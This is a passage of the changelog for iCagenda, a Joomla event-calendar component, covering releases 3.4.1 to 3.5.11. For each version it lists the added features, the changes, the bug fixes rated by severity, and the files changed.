~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ script.icagenda.php
~ site/add/elements/icsetvar.php
~ site/helpers/icmodel.php
~ site/models/forms/submit.xml
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/default.xml
~ site/views/submit/view.html.php


iCagenda 3.5.11 <small style="font-weight:normal;">(2015.09.05)</small>
================================================================================
# [LOW] Fixed : date format with short month broken (in 3.5.10).
# [LOW] Fixed : date format with separator broken (since 3.5.6).
# [MODULE iC calendar][LOW] Fixed : display of current month, whereas option 'Loading on Date' is set on a day of the previous month.

* Changed files in 3.5.11
~ [LIBRARY] libraries/ic_library/globalize/culture/en-GB.php
~ [LIBRARY] libraries/ic_library/globalize/culture/en-US.php
~ [LIBRARY] libraries/ic_library/globalize/culture/fa-IR.php
~ [LIBRARY] libraries/ic_library/globalize/globalize.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php


iCagenda 3.5.10 <small style="font-weight:normal;">(2015.09.01)</small>
================================================================================
+ Added : Compatible with Jalali/Persian calendar in admin (use of Joomla calendar for datetime picker).
+ Added : missing field to select 'Registration type' in the 'Submit an event' form, if registration options displayed.
+ Added : function to disable the submit button in frontend forms, after first click (to prevent multiple clicks during data process).
~ Changed : Asynchronous Loading of the AddThis widget script
~ Changed : auto-detect if https/ssl server for loading the AddThis widget script.
~ [MODULE iC calendar] Changed : you can now select one of the seven days of the week, as the first day of the calendar.
~ [THEME PACK] Changed : registration header is simplified, and use now its own css classes (ic-reg + suffix)
~ [THEME PACK] Changed : new ic-current-period class used to replace inline css when for the overline when period started and current (box date in list of events)
# [LOW] Fixed : a few issues with Jalali calendar in frontend (day 31 of a period not dislayed in calendar, possible datetime contruct error if no single dates in event details view).
# [LOW] Fixed : if only single dates with no period, and registration type option set to "for all dates of event", the date in registration email notifications was wrong.
# [LOW] Fixed : loading of event custom fields in registrations list if same id (missing parent_form control).
# [LOW] Fixed : date could include non-breaking space (&nbsp;) in notification email.
# [MODULE iC Event List][LOW] Fixed : display of month in the date box, on last day of a month (eg. 31 August) was next month, and not current month.

* Changed files in 3.5.10
~ admin/models/fields/modal/date.php
~ admin/models/fields/modal/enddate.php
~ admin/models/fields/modal/startdate.php
~ admin/tables/event.php
~ admin/utilities/customfields/customfields.php
~ admin/utilities/events/events.php
~ admin/utilities/form/form.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/registrations/tmpl/default.php
+ [LIBRARY] libraries/ic_library/globalize/convert.php
~ [LIBRARY] libraries/ic_library/globalize/globalize.php
+ [MEDIA] media/images/loader.gif
~ [MEDIA] media/js/icdates.js
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ site/add/elements/icsetvar.php
~ site/helpers/icmodel.php
~ site/models/forms/submit.xml
~ site/models/submit.php
~ [THEME PACK] site/themes/packs/default/css/default_component.css
~ [THEME PACK] site/themes/packs/default/default_registration.php
~ [THEME PACK] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACK] site/themes/packs/ic_rounded/ic_rounded_events.php
~ [THEME PACK] site/themes/packs/ic_rounded/ic_rounded_registration.php
~ site/views/list/tmpl/registration.php
~ site/views/submit/tmpl/default.php


iCagenda 3.5.9 <small style="font-weight:normal;">(2015.08.01)</small>
================================================================================
! Added options for export in csv of a list of registrations (select info to be exported, and select between comma or semicolon as separator for values)
! You can now send a newsletter for all users registered for an event (all dates), or only for users registered to only one date (or period) of the event.
~ Changed : dropdowns for event and date in registration form, as well as for newsletter now use ajax for updating the date depending of the selected event, without reloading the page.
~ Changed : set 'All Events' as default value for 'Filter by Dates' global option (on new install).
~ [THEME PACK] Changed : ic_rounded module calendar css for table, by addition of class ic-table (minor change to prevent some possible css conflict with site template).
~ Changed : minimum joomla 3 release is now 3.2.3 (for websites using iCagenda on Joomla 3).
# [MEDIUM] Fixed : when trying to change state of a registration (broken since 3.5.7) the event state was sometimes changed in the same time (but not removed from database). Sorry for any inconvenience.
# [LOW] Fixed : change state not working in admin registrations list (not possible to trash or unpublished a registration entry).
# [LOW] Fixed : lost of changes if changing event in registration admin edition (fixed by using ajax to generate the date list).
# [MODULES][LOW] Fixed : 'Filter by dates' could be broken for modules, if set in all menus to 'Use Global', and set to 'All Events' in global options.
# [MODULE iC Event List][LOW] Fixed : notice error if no events to be displayed (undefined variable).

* Changed files in 3.5.9
~ admin/config.xml
~ admin/controllers/mail.php
~ admin/controllers/registration.php
~ admin/controllers/registrations.php
~ admin/controllers/registrations.raw.php
~ admin/models/fields/modal/evt.php
~ admin/models/fields/modal/evt_date.php
- admin/models/fields/modal/mailinglist.php
~ admin/models/forms/download.xml
~ admin/models/forms/mail.xml
~ admin/models/forms/registration.xml
~ admin/models/mail.php
~ admin/models/registration.php
~ admin/models/registrations.php
- admin/tables/mail.php
~ admin/tables/registration.php
+ admin/utilities/ajax/ajax.php
~ admin/utilities/events/events.php
~ admin/utilities/menus/menus.php
~ admin/views/mail/tmpl/edit.php
~ admin/views/mail/view.html.php
~ admin/views/registration/tmpl/edit.php
~ admin/views/registrations/tmpl/default.php
~ admin/views/registrations/view.html.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ script.icagenda.php
~ [THEME PACK] site/themes/packs/ic_rounded/css/ic_rounded_module.css


iCagenda 3.5.8 <small style="font-weight:normal;">(2015.07.17)</small>
================================================================================
# [MODULE iC Calendar][LOW] Fixed : no events displayed in the calendar if menus option 'Filter by dates' is set to 'Use Global' (Sorry for any inconvenience).

* Changed files in 3.5.8
~ admin/utilities/menus/menus.php


iCagenda 3.5.7 <small style="font-weight:normal;">(2015.07.16)</small>
================================================================================
+ Added : publishing info for registrations; Created date/by (null if registration processed before update to 3.5.7 or later) and Modified date/by.
+ [MODULES] Added: alert message with number of events not displayed, when a user with admin permissions is logged-in in frontend (see current fix in modules for events with no menu link to allow the display.).
~ Changed : end time for single dates is now assumed to be midnight, when filtering today's events.
~ [THEME PACK] Changed : remove inline css used before to display Terms of Service, and use new names for the css classes.
# [MODULES][LOW] Fixed : no display of events if no menu link allows the display.
# [MODULE iC Calendar][LOW] Fixed : possible script conflict if joomla timezone or server timezone selected (highlightToday issue).
# [MODULE iC Calendar][LOW] Fixed : no display of December events.
# [LOW] Fixed : filtering of space for dates in notification emails if mail received in plain text.
# [LOW] Fixed : possible notice 'Undefined variable: dateglobalize_#' in backend, related to date format option (depends on your admin language).
# [LOW] Fixed : wrong place of a closing div in list of events (3.5.6).
# [LOW] Fixed : edit own access for registrations (user with only edit own access permissions, will see only its own registrations in the list).
# [LOW] Fixed : JS notice empty value if Terms of Services not displayed in registration form.

* Changed files in 3.5.7
~ admin/controllers/registration.php
~ admin/controllers/registrations.php
~ admin/models/fields/iclist/globalization.php
~ admin/models/forms/customfield.xml
~ admin/models/forms/event.xml
~ admin/models/forms/registration.xml
~ admin/models/registration.php
~ admin/models/registrations.php
~ admin/sql/install/mysql/icagenda.install.sql
~ admin/utilities/events/data.php
~ admin/utilities/events/events.php
~ admin/utilities/form/form.php
~ admin/utilities/menus/menus.php
~ admin/views/event/tmpl/edit.php
~ admin/views/registration/tmpl/edit.php
~ admin/views/registrations/tmpl/default.php
~ [LIBRARY] libraries/ic_library/globalize/globalize.php
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/helper.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ site/helpers/icmodel.php
~ site/models/events.php
~ site/models/submit.php
~ [THEME PACK] site/themes/packs/default/css/default_component.css
~ [THEME PACK] site/themes/packs/default/css/default_module.css
~ [THEME PACK] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACK] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/registration.php
~ site/views/submit/tmpl/default.php


iCagenda 3.5.6 <small style="font-weight:normal;">(2015.06.29)</small>
================================================================================
+ Added : Compatible with Jalali/Persian calendar in frontend.
~ Changed : Update of Info page (addition of credits: languages and external libraries).
~ Changed : Improvement of add to cal function for a better export to external calendars.
~ Changed : Improvement of valid dates control in frontend submit an event form.
~ Changed : migration of globalize date format function to the iC Library, and improvement.
# [MEDIUM] Fixed : delete custom fields data of an event if this one is deleted.
# [LOW] Fixed : add to cal issue when hide time selected.
# [LOW] Fixed : date/dates display in event details depending of number of dates for a period.
# [LOW] Fixed : registration button was not active when event with a past period, but upcoming single dates.
# [LOW] Fixed : line return in Notes field, when exporting list of registrations to csv.
# [LOW] Fixed : confirmed email field (registration form) was not removed from the session.
# [LOW] Fixed : no display of a few dates in today's events filtering (when period with weekdays, and event running).

* Changed files in 3.5.6
~ admin/add/ renamed admin/assets/
+ admin/assets/jcms/info.php
~ admin/config.xml
~ admin/controller.php
- [FOLDER] admin/globalization/
~ admin/icagenda.php
~ admin/models/event.php
~ admin/models/events.php
~ admin/models/fields/iclist/globalization.php
~ admin/models/fields/modal/date.php
~ admin/models/fields/modal/evt_date.php
~ admin/models/forms/event.xml
~ admin/models/registration.php
~ admin/models/registrations.php
~ admin/sql/install/mysql/icagenda.install.sql
~ admin/tables/registration.php
~ admin/utilities/customfields/customfields.php
~ admin/utilities/events/data.php
~ admin/utilities/events/events.php
+ admin/utilities/info/info.php
~ admin/views/category/tmpl/edit.php
~ admin/views/customfield/tmpl/edit.php
~ admin/views/event/tmpl/edit.php
~ admin/views/event/view.html.php
~ admin/views/events/tmpl/default.php
~ admin/views/events/view.html.php
~ admin/views/feature/tmpl/edit.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/icagenda/view.html.php
~ admin/views/info/tmpl/default.php
~ admin/views/info/view.html.php
~ admin/views/mail/tmpl/edit.php
~ admin/views/registration/tmpl/edit.php
~ admin/views/registration/view.html.php
~ admin/views/registrations/view.html.php
~ admin/views/themes/tmpl/default.php
~ icagenda.xml
~ [LIBRARY] libraries/ic_library/date/date.php
+ [LIBRARY][FOLDER] libraries/ic_library/globalize/
+ [LIBRARY] libraries/ic_library/globalize/culture/fa-IR.php
+ [LIBRARY] libraries/ic_library/globalize/globalize.php
~ [LIBRARY] libraries/ic_library/lib_ic_library.xml
~ [LIBRARY] libraries/ic_library/library/library.php
~ [LIBRARY] libraries/ic_library/string/string.php
~ [MEDIA] media/css/icagenda-back.css
~ [MEDIA] media/css/icagenda-front.css
~ [MEDIA] media/css/icagenda-front.j25.css
~ [MEDIA] media/js/icdates.js
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.xml
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ script.icagenda.php
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/models/events.php
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
~ [THEME PACK] site/themes/packs/default/css/default_component.css
~ [THEME PACK] site/themes/packs/default/css/default_module.css
~ [THEME PACK] site/themes/packs/default/default_calendar.php
~ [THEME PACK] site/themes/packs/default/default_day.php
~ [THEME PACK] site/themes/packs/default/default_event.php
~ [THEME PACK] site/themes/packs/default/default_events.php
~ [THEME PACK] site/themes/packs/default/default_registration.php
~ [THEME PACK] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACK] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACK] site/themes/packs/ic_rounded/ic_rounded_calendar.php
~ [THEME PACK] site/themes/packs/ic_rounded/ic_rounded_day.php
~ [THEME PACK] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACK] site/themes/packs/ic_rounded/ic_rounded_events.php
~ [THEME PACK] site/themes/packs/ic_rounded/ic_rounded_registration.php
~ site/views/list/tmpl/actions.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default.xml
~ site/views/list/tmpl/default_vcal.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/default.xml
~ site/views/submit/tmpl/send.php
~ site/views/submit/view.html.php


iCagenda 3.5.5 <small style="font-weight:normal;">(2015.04.27)</small>
================================================================================
~ Changed : removal of v1 and v2 release notes (link to online change log for these versions).
# [MEDIUM] Fixed : issue with admin event edition on IE (script error only on Internet Explorer).
# [LOW] Fixed : wrong file jquery.tipTip.js was included in 3.5.4. This version includes the correct new one with tooltip position fix (as announced in previous release).

* Changed files in 3.5.5
~ admin/CHANGELOG.php
~ [MEDIA] media/js/icdates.js
~ [MEDIA] media/js/jquery.tipTip.js


iCagenda 3.5.4 <small style="font-weight:normal;">(2015.04.24)</small>
================================================================================
! JComments ready : You can download the free iC JComments plugin to enable comments on events (http://icagenda.joomlic.com/resources/addons).
+ [GLOBALIZATION] Added : fa-IR Persan (Iran) date formats.
+ Added : global option to set text transformation of the event title (Global Options > General Settings tab).
+ Added : check image name in frontend 'Submit an Event form', and if file extension is missing, add the correct one.
~ Changed : location of css and js core files (removed from admin and site folder, and moved to media).
~ Changed : improve datetime picker validation (no need to click on validate button to be sure date entered is saved).
# [MEDIUM] Fixed : missing 404 error page, when SEF is enabled, and event alias in url doesn't exist (was returning the first event found).
# [MEDIUM] Fixed : Persan language issue, fixed date construct fatal error.
# [LOW] Fixed : possible iCtip position issue (add to cal, print... tooltip) if another script is changing window top offset().
# [LOW] Fixed : broken url to event details view in registration form header.
# [LOW] Fixed : broken approval icon function in admin list of events.
# [LOW] Fixed : special characters in breadcrumbs.
# [LOW] Fixed : Nb of registered user, if only one single date, and registration type is changed after a few registrations occured.

* Changed files in 3.5.4
- [FOLDER] admin/add/css/
~ admin/add/elements/desc.php
~ admin/add/elements/title.php
+ admin/add/elements/titleheader.php
~ admin/add/elements/titleimg.php
- [FOLDER] admin/add/image/
~ admin/config.xml
+ admin/globalization/fa-IR.php
~ admin/models/event.php
~ admin/models/forms/event.xml
~ admin/tables/feature.php
~ admin/utilities/customfields/customfields.php
~ admin/utilities/events/data.php
~ admin/utilities/events/events.php
~ admin/utilities/form/form.php
~ admin/views/categories/view.html.php
~ admin/views/category/tmpl/edit.php
~ admin/views/customfield/tmpl/edit.php
~ admin/views/customfields/view.html.php
~ admin/views/event/tmpl/edit.php
~ admin/views/events/tmpl/default.php
~ admin/views/events/view.html.php
~ admin/views/feature/tmpl/edit.php
~ admin/views/feature/view.html.php
~ admin/views/features/view.html.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/icagenda/view.html.php
~ admin/views/info/tmpl/default.php
~ admin/views/info/view.html.php
~ admin/views/mail/view.html.php
~ admin/views/registration/tmpl/edit.php
~ admin/views/registrations/view.html.php
~ admin/views/themes/tmpl/default.php
~ icagenda.xml
~ [LIBRARY] libraries/ic_library/date/period.php
~ [LIBRARY] libraries/ic_library/thumb/get.php
~ [MEDIA] media/css/icagenda-back.css
+ [MEDIA] media/css/icagenda-back.j25.css
~ [MEDIA] media/css/icagenda-front.css
+ [MEDIA] media/css/icagenda-front.j25.css
~ [MEDIA] media/css/icagenda.css
+ [MEDIA][FOLDER] media/css/images/
+ [MEDIA] media/css/jquery-ui-1.8.17.custom.css
+ [MEDIA] media/css/template.j25.css
~ [MEDIA][ICICONS][UPDATE] media/icicons/
~ [MEDIA][IMAGES][UPDATE] media/images/
~ [MEDIA] media/js/icdates.js
+ [MEDIA] media/js/icmap-front.js
~ [MEDIA] media/js/jquery.tipTip.js
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ script.icagenda.pro.php
- [FOLDER] site/add/css/
~ site/add/elements/icsetvar.php
- [FOLDER] site/add/image/
~ site/controller.php
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
- [FOLDER] site/js/
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
~ site/router.php
~ [THEME PACK] site/themes/packs/default/css/default_component.css
~ [THEME PACK] site/themes/packs/default/default_events.php
~ [THEME PACK] site/themes/packs/default/default_registration.php
~ [THEME PACK] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACK] site/themes/packs/ic_rounded/ic_rounded_events.php
~ [THEME PACK] site/themes/packs/ic_rounded/ic_rounded_registration.php
+ site/views/list/tmpl/actions.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default_categories.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/tmpl/send.php
~ site/views/submit/view.html.php


iCagenda 3.5.3 <small style="font-weight:normal;">(2015.03.25)</small>
================================================================================
+ Added : Confirm Email field in frontend Registration form, for not logged-in user.
+ Added : BOM utf-8 to csv export file (special characters).
~ Changed : improvement of the model for admin event edition.
~ Changed : postal code is now displayed (if available) in frontend address field.
# [MEDIUM] Fixed : saving of custom fields and features when new event (with not yet an ID) was broken (no data saved).
# [THEME PACKS][LOW] Fixed : display of empty participants list when registration not enabled.
# [LOW] Fixed : display of information details in event details view, was not always displayed depending of options and data filled.
# [LOW] Fixed : register button when only a single date, and the list display type is not set to display all dates.
# [LOW] Fixed : added back the alert message on Joomla 2.5 about the impossibility of trashing frontend submitted events if not edited (the issue with trash and empty asset_id is fixed in latest version of Joomla 3).

* Changed files in 3.5.3
~ admin/config.xml
~ admin/models/event.php
~ admin/models/fields/modal/ictext_placeholder.php
~ admin/models/forms/event.xml
~ admin/models/registrations.php
~ admin/tables/event.php
~ admin/utilities/events/data.php
~ admin/views/events/tmpl/default.php
~ admin/views/registrations/view.raw.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ site/add/elements/icsetvar.php
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/models/list.php
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php


iCagenda 3.5.2 <small style="font-weight:normal;">(2015.03.13)</small>
================================================================================
~ Changed : name/username allows now numeric characters (server-side iCagenda validator), and addition of joomla client-side username validation.
~ Changed : minor re-ordering of period options in admin edition of an event, with info text for weekdays.
# [MEDIUM] Fixed : function to generate small icons in Features was broken.
# [LOW] Fixed : Custom fields data broken in csv export of registrations.
# [LOW] Fixed : Number of registered users, for events over a period with no weekdays selected.
# [LOW] Fixed : List of participants was broken if 'Avatar' and/or 'Username' list display option was selected (option 'Full' was working as expected).
# [LOW] Fixed : Url to event details view could return a wrong number of registered user if a period with no weekdays selected (component list of events).
# [LOW] Fixed : notice error when php function dateInterval does not exist on your server.
# [LOW] Fixed : improvement of the function to get the current layout.
# [LOW] Fixed : a few date format buggy depending of your settings, and the current language used.
# [LOW] Fixed : notice error $translator not defined in control panel (language issue) only on free version.
# [LOW] Fixed : filters display issue in registration admin list on Joomla 2.5 when event title length too high.
# [MODULE iC Event List][LOW] Fixed : blur x-small thumbs when created in admin.

* Changed files in 3.5.2
~ admin/add/css/icagenda.j25.css
~ admin/models/fields/modal/thumbs.php
~ admin/models/forms/event.xml
~ admin/models/registrations.php
~ admin/tables/feature.php
~ admin/views/event/tmpl/edit.php
~ admin/views/events/tmpl/default.php
~ admin/views/icagenda/tmpl/default.php
~ admin/views/registrations/tmpl/default.php
~ [LIBRARY] libraries/ic_library/date/period.php
~ [LIBRARY] libraries/ic_library/thumb/get.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/icrounded.php
~ site/add/elements/icsetvar.php
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/models/forms/submit.xml
~ site/models/list.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ site/views/list/tmpl/registration.php
~ site/views/list/view.html.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/view.html.php


iCagenda 3.5.1 <small style="font-weight:normal;">(2015.03.01)</small>
================================================================================
~ [MODULE iC calendar] Cleaned : not needed data attributs in arrows navigation.
# [MEDIUM] Fixed : no display of events if access registered, and user logged-in is not a Super User.
# [LOW] Fixed : possible issue with Joomla 3.4.0 (not saving event due to a script conflict), if admin module 'Multilanguage status' published (change of the modal for this module, using now Bootstrap).
# [LOW] Fixed : minor error issue in script used in edit form (admin) for link option on register button.
# [LOW] Fixed : 'No tickets are available for this date' displayed if no registration done for an event.
# [LOW] Fixed : incorrect count of available and booked tickets when Registration Type is set to 'all dates of the period'.
# [LOW] Fixed : link to view event after registration, not linking to registered date event view.

* Changed files in 3.5.1
~ admin/models/event.php
~ admin/models/fields/modal/iclink_article.php
~ admin/models/fields/modal/iclink_type.php
~ admin/models/fields/modal/iclink_url.php
~ admin/utilities/events/data.php
~ admin/utilities/form/form.php
~ admin/views/event/tmpl/edit.php
~ admin/views/events/view.html.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ site/add/elements/icsetvar.php
~ site/helpers/icmodel.php
~ site/models/events.php
~ site/views/list/tmpl/registration.php


iCagenda 3.5.0 <small style="font-weight:normal;">(2015.02.25)</small>
================================================================================
! [EXPORT CSV][Registrations] : integration of CSV exportation for a list of registrations. Use the filter dropdowns to select state, event and/or date, and export the list of registered users by clicking on the 'Export' button in the toolbar.
! [Registrations] : the max number of tickets is now applied to each individual date of an event, if registration per date is selected.
! [MODULES] Added : event url goes directly to the date selected in the event details view.
! [FORMS] Improvement in Form Validation. By default, the form validation is process first client-side, using now the joomla core form-validate, and in second validation is server-side, processed by iCagenda. You have option both for the 'Registration' and 'Submit an Event' forms, to select default (2 controls) or only server-side form validation (the most advanced and secured one. The client-side validation adds a more user-friendly way which is faster for user (page not reloaded) to know when a field or more are invalid).
+ Added : Admin filter by registered date in registrations list.
+ Added : Admin filter by category in registrations list.
+ [RSS] Added : get current menu options to filter the RSS feeds (Filter by date, ordering...).
+ [MODULE iC calendar] Added : option to close automatically the tooltip on Mouseout.
+ [PLUGIN Search] Added : Search in shortdesc and metadesc text.
~ [MODULE iC calendar] Changed : improvement of the tool tip design, and addition of auto vertical scrolling inside tooltip.
~ [MODULE iC calendar] Changed : All mktime php function changed to be standardized with component refactory.
~ Many code improvements and minor bugs fixed.
# [MEDIUM] Fixed : Possible blank page in frontend, or very slow loading of iCagenda. The issue was not identified (seems to be related to php 5.4.37), but the new release 3.5.0 fixes this problem.
# [MEDIUM] Fixed : Slow loading in frontend, when using distant images, the parent image to generate thumbnails was always controlled, and should not if thumb already existed.
# [LOW] Fixed : W3C validation.
# [LOW] Fixed : issue in checking menu item if published (could return a 404 error page if menu item not published).
# [LOW] Fixed : missing displaytime checking in list of dates rendering (could not display an event over a period, with week days selected, if time not set).
# [LOW] Fixed : when only single dates filled in 'Submit an Event' form, the event was unpublished.
# [LOW] Fixed : "Notice: Undefined index:" if some fields are not filled when captcha solution was incorrect in registration form.
# [LOW] Fixed : issue if captcha plugin option is not set correctly, and set to be shown in form options.
# [LOW] Fixed : do not display event not approved in RSS feeds.
# [LOW] Fixed : no display of toolbar in list of events (admin) if no category created (display issue hiding page header).
# [LOW] Fixed : infotips in registration form not working on Joomla 2.5 (bug introduced in 3.4.1).
# [LOW][PRO MODULE iC Event List] Fixed : wrong date if period has a start date before today, and end date after today (was displaying tomorrow).
# [LOW][PRO MODULE iC Event List] Fixed : missing ic- prefix for columns classes in default layout, and rtl files.
# [SQL] Fixed : possible issue when update from an old version of iCagenda (before 3.2.14 and 3.2.0), with sql updating using the joomla core sql updates system.

* Changed files in 3.5.0
- admin/add/css/icmap.css
~ admin/config.xml
+ admin/controllers/registrations.raw.php
~ admin/globalization/en-GB.php
+ admin/models/download.php
~ admin/models/events.php
~ admin/models/fields/icmap/city.php
~ admin/models/fields/icmap/country.php
~ admin/models/fields/icmap/lat.php
~ admin/models/fields/icmap/lng.php
~ admin/models/fields/modal/date.php
~ admin/models/fields/modal/ictextarea_counter.php
~ admin/models/fields/modal/thumbs.php
+ admin/models/forms/download.xml
~ admin/models/forms/event.xml
~ admin/models/registrations.php
~ admin/sql/updates/3.2.0.sql
~ admin/sql/updates/3.2.14.sql
~ admin/sql/updates/3.2.sql
~ admin/utilities/customfields/customfields.php
+ admin/utilities/events/data.php
~ admin/utilities/events/events.php
~ admin/utilities/form/form.php
~ admin/utilities/menus/menus.php
~ admin/utilities/thumb/thumb.php
~ admin/views/categories/view.html.php
+ admin/views/download/tmpl/default.php
+ admin/views/download/view.html.php
~ admin/views/event/tmpl/edit.php
~ admin/views/event/view.html.php
~ admin/views/events/tmpl/default.php
~ admin/views/events/view.html.php
~ admin/views/registrations/tmpl/default.php
~ admin/views/registrations/view.html.php
+ admin/views/registrations/view.raw.php
~ [LIBRARY] libraries/ic_library/date/date.php
~ [LIBRARY] libraries/ic_library/thumb/create.php
~ [LIBRARY] libraries/ic_library/thumb/get.php
~ [MEDIA] media/css/icagenda-back.css
~ [MEDIA] media/css/icagenda-front.css
+ [MEDIA] media/css/icagenda.css
~ [MEDIA] media/icicons/style.css
~ [MEDIA] media/js/icdates.js
~ [MEDIA] media/js/icform.js
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style-rtl.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/default_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style-rtl.css
~ [MODULE][PRO] modules/mod_ic_event_list/css/icrounded_style.css
~ [MODULE][PRO] modules/mod_ic_event_list/mod_ic_event_list.php
~ [MODULE][PRO] modules/mod_ic_event_list/tmpl/default.php
~ [MODULE] modules/mod_iccalendar/helper.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.php
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ [MODULE] modules/mod_iccalendar/mod_iccalendar.xml
~ [PLUGIN] plugins/search/icagenda/icagenda.php
~ script.icagenda.php
- site/add/css/icmap.css
~ site/add/elements/icsetvar.php
~ site/helpers/ichelper.php
~ site/helpers/icmodel.php
~ site/models/events.php
~ site/models/forms/submit.xml
~ site/models/list.php
~ site/models/submit.php
~ [THEME PACKS] site/themes/packs/default/css/default_component.css
~ [THEME PACKS] site/themes/packs/default/css/default_component_xsmall.css
~ [THEME PACKS] site/themes/packs/default/css/default_module.css
~ [THEME PACKS] site/themes/packs/default/default_day.php
~ [THEME PACKS] site/themes/packs/default/default_event.php
~ [THEME PACKS] site/themes/packs/default/default_events.php
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_component_xsmall.css
~ [THEME PACKS] site/themes/packs/ic_rounded/css/ic_rounded_module.css
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_day.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_event.php
~ [THEME PACKS] site/themes/packs/ic_rounded/ic_rounded_events.php
~ site/views/list/tmpl/default.php
~ site/views/list/tmpl/default_categories.php
~ site/views/list/tmpl/event.php
~ site/views/list/tmpl/registration.php
~ site/views/submit/tmpl/default.php
~ site/views/submit/view.html.php

iCagenda 3.4.1 <small style="font-weight:normal;">(2015.01.30)</small>
================================================================================
! Changed : To fix an issue when using a custom captcha plugin (not joomla core reCaptcha plugin), the options has been changed. Now, there's only one place where you can set the captcha plugin used in iCagenda: 'General Settings' tab of the Global Options of the component. And you have individual option to show/hide captcha in 'Registration' and 'Submit an Event' forms. The update script will try to migrate your settings, but it's possible that you will have to set again this option in the menu options of 'Submit en Event' menu item type.
! Fixed : the 404 error page on multi-language site (when clicking on a module link).
+ Added : Get menu id and title of an event submitted in frontend (notification email, and filter in admin list of events).
+ Added : Options to show/hide period, weekdays and single dates in 'Submit an Event' form.
+ Added : Filter RSS feeds by category filter set in the menu options.
+ Added : Tooltip legends to pagination.
+ Added : Option to show/hide time in date box (list of events).
+ Added : Global Option to set access level to registration form.
+ [Plugin Search] Added : Next date added in search result (after title of the event).
~ Changed : You can now enter date before 1970/1/1 and after 2038/1/19 (no more unix limitation due to mktime php function, removed from date functions).
~ Changed : pageclass_sfx moved from id icagenda to a class (ic-list, ic-event, ic-registration, ic-submit, ic-send) to follow joomla standard.
~ Changed : Google Maps script checking (if api not loaded, iCagenda will load it).
~ Changed : Main list of events filter by date is improved (full recoding of the dates filtering functions).
~ Changed : The option 'list of all dates/only next/last date' is changed into 'Display All Dates' yes/no option.
~ [PRO MODULE iC Event List] Changed : ic- prefix added to section, group and col class names (to prevent class names CSS conflict).
~ Changed : Many code improvements.
# [MEDIUM] Fixed : 'auto' mode for menu link in modules was not well filtering language when joomla multi-language enabled. Improvement of the language detection for the menu items to retrieve the correct url.
# [LOW] Fixed : do not send user notification email after an event submission in frontend, if user has permissions to approve an event.
# [LOW] Fixed : no thumbnails were generated when '.' found in the image filename (eg. image.name.jpg).
# [LOW] Fixed : detects if an image file is too large, depending of server memory_limit setting, to prevent a blank page in admin when thumbnails cannot be generated (alert message displayed when a file is too large).
